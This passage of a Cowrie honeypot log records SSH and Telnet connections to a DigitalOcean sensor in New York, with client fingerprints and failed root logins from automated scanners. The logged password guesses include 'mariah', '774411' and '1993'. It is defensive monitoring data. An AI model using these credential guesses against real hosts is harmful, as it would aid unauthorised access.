{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:53.750903Z","src_ip":"43.153.54.120","session":"fa4180426774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:54.013605Z","src_ip":"119.28.115.94","session":"8367e6de193e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45102,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a5cc932bc44","protocol":"telnet","message":"New connection: 152.42.224.71:45102 (10.17.0.5:23) [session: 7a5cc932bc44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:54.136041Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.19.216.87","src_port":38610,"dst_ip":"10.17.0.5","dst_port":23,"session":"0152f555c90c","protocol":"telnet","message":"New connection: 81.19.216.87:38610 (10.17.0.5:23) [session: 0152f555c90c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:02.943303Z"}
{"eventid":"cowrie.session.closed","duration":0.17254996299743652,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:03.115752Z","src_ip":"81.19.216.87","session":"0152f555c90c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.109.221.116","src_port":41888,"dst_ip":"159.203.135.109","dst_port":23,"session":"c52850313b7b","protocol":"telnet","message":"New connection: 65.109.221.116:41888 (159.203.135.109:23) [session: c52850313b7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:05.673476Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45118,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e4c7e3aafb2","protocol":"telnet","message":"New connection: 152.42.224.71:45118 (10.17.0.5:23) [session: 5e4c7e3aafb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:06.258743Z"}
{"eventid":"cowrie.session.closed","duration":42.04775357246399,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:06.667227Z","src_ip":"152.42.224.71","session":"de94325fdbf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45124,"dst_ip":"10.17.0.5","dst_port":23,"session":"810c6c9bc9a0","protocol":"telnet","message":"New connection: 152.42.224.71:45124 (10.17.0.5:23) [session: 810c6c9bc9a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:07.870027Z"}
{"eventid":"cowrie.session.closed","duration":44.975224018096924,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:09.832958Z","src_ip":"152.42.224.71","session":"163ab6144b0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.5.169.195","src_port":15926,"dst_ip":"10.17.0.5","dst_port":23,"session":"990240f81742","protocol":"telnet","message":"New connection: 69.5.169.195:15926 (10.17.0.5:23) [session: 990240f81742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:10.534699Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":52434,"dst_ip":"159.203.135.109","dst_port":22,"session":"19a85692ca5d","protocol":"ssh","message":"New connection: 43.134.228.151:52434 (159.203.135.109:22) [session: 19a85692ca5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:10.988473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:10.994336Z","src_ip":"43.134.228.151","session":"19a85692ca5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45132,"dst_ip":"10.17.0.5","dst_port":23,"session":"deda0aa85868","protocol":"telnet","message":"New connection: 152.42.224.71:45132 (10.17.0.5:23) [session: deda0aa85868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:11.131165Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:11.241546Z","src_ip":"43.134.228.151","session":"19a85692ca5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":57814,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8db9ccfd731","protocol":"ssh","message":"New connection: 94.230.136.33:57814 (159.203.135.109:22) [session: d8db9ccfd731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:11.412044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:11.417753Z","src_ip":"94.230.136.33","session":"d8db9ccfd731","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:11.570019Z","src_ip":"94.230.136.33","session":"d8db9ccfd731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mariah","message":"login attempt [root/mariah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:12.209628Z","src_ip":"94.230.136.33","session":"d8db9ccfd731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kuai","message":"login attempt [root/kuai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:12.296088Z","src_ip":"43.134.228.151","session":"19a85692ca5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.34394884109497,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:12.613107Z","src_ip":"152.42.224.71","session":"9a30c472a85e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:13.363804Z","src_ip":"94.230.136.33","session":"d8db9ccfd731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:13.544934Z","src_ip":"43.134.228.151","session":"19a85692ca5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0017261505127,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:13.661348Z","src_ip":"152.42.224.71","session":"6aadafb07501","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45142,"dst_ip":"10.17.0.5","dst_port":23,"session":"44a6bf299a31","protocol":"telnet","message":"New connection: 152.42.224.71:45142 (10.17.0.5:23) [session: 44a6bf299a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:15.619187Z"}
{"eventid":"cowrie.session.closed","duration":9.999968528747559,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:20.534542Z","src_ip":"69.5.169.195","session":"990240f81742","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":49636,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7cd96d87207","protocol":"ssh","message":"New connection: 46.19.67.181:49636 (159.203.135.109:22) [session: c7cd96d87207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:23.301253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:23.305866Z","src_ip":"46.19.67.181","session":"c7cd96d87207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:23.419690Z","src_ip":"46.19.67.181","session":"c7cd96d87207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159632","message":"login attempt [root/159632] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:23.761494Z","src_ip":"46.19.67.181","session":"c7cd96d87207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.56199908256531,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:24.619321Z","src_ip":"152.42.224.71","session":"c1613c9b9139","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:24.878326Z","src_ip":"46.19.67.181","session":"c7cd96d87207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.0888876914978,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:26.490619Z","src_ip":"152.42.224.71","session":"494f7a7bac05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52166,"dst_ip":"10.17.0.5","dst_port":23,"session":"36ff4b62c7ab","protocol":"telnet","message":"New connection: 152.42.224.71:52166 (10.17.0.5:23) [session: 36ff4b62c7ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:30.364128Z"}
{"eventid":"cowrie.session.closed","duration":37.87001156806946,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:32.005887Z","src_ip":"152.42.224.71","session":"7a5cc932bc44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00339126586914,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:34.010768Z","src_ip":"152.42.224.71","session":"402f83325db4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.76108384132385,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:34.336567Z","src_ip":"152.42.224.71","session":"735fec93a036","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.00597906112671,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:36.124928Z","src_ip":"152.42.224.71","session":"bb3471461c76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":55790,"dst_ip":"159.203.135.109","dst_port":22,"session":"85c463472451","protocol":"ssh","message":"New connection: 101.36.108.213:55790 (159.203.135.109:22) [session: 85c463472451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:37.402585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:37.407109Z","src_ip":"101.36.108.213","session":"85c463472451","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:37.624612Z","src_ip":"101.36.108.213","session":"85c463472451","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.02332329750061,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:38.387342Z","src_ip":"152.42.224.71","session":"36ff4b62c7ab","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"774411","message":"login attempt [root/774411] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:38.536226Z","src_ip":"101.36.108.213","session":"85c463472451","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.478567361831665,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:38.737174Z","src_ip":"152.42.224.71","session":"5e4c7e3aafb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:39.765066Z","src_ip":"101.36.108.213","session":"85c463472451","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34980,"dst_ip":"10.17.0.5","dst_port":23,"session":"189b60c060e4","protocol":"telnet","message":"New connection: 152.42.224.71:34980 (10.17.0.5:23) [session: 189b60c060e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:42.237005Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34988,"dst_ip":"10.17.0.5","dst_port":23,"session":"3202dbd00cc1","protocol":"telnet","message":"New connection: 152.42.224.71:34988 (10.17.0.5:23) [session: 3202dbd00cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:44.030011Z"}
{"eventid":"cowrie.session.closed","duration":58.020729064941406,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:44.171473Z","src_ip":"152.42.224.71","session":"8a715d47f307","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":38462,"dst_ip":"10.17.0.5","dst_port":22,"session":"c41def4936ae","protocol":"ssh","message":"New connection: 103.176.20.57:38462 (10.17.0.5:22) [session: c41def4936ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:47.197473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:47.201568Z","src_ip":"103.176.20.57","session":"c41def4936ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:47.453079Z","src_ip":"103.176.20.57","session":"c41def4936ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1993","message":"login attempt [root/1993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:48.201923Z","src_ip":"103.176.20.57","session":"c41def4936ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.62760591506958,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:48.655704Z","src_ip":"152.42.224.71","session":"99109bd2caa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:49.453829Z","src_ip":"103.176.20.57","session":"c41def4936ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":46576,"dst_ip":"159.203.135.109","dst_port":22,"session":"859a578b5778","protocol":"ssh","message":"New connection: 43.156.227.3:46576 (159.203.135.109:22) [session: 859a578b5778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:50.667103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:16:50.671209Z","src_ip":"43.156.227.3","session":"859a578b5778","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS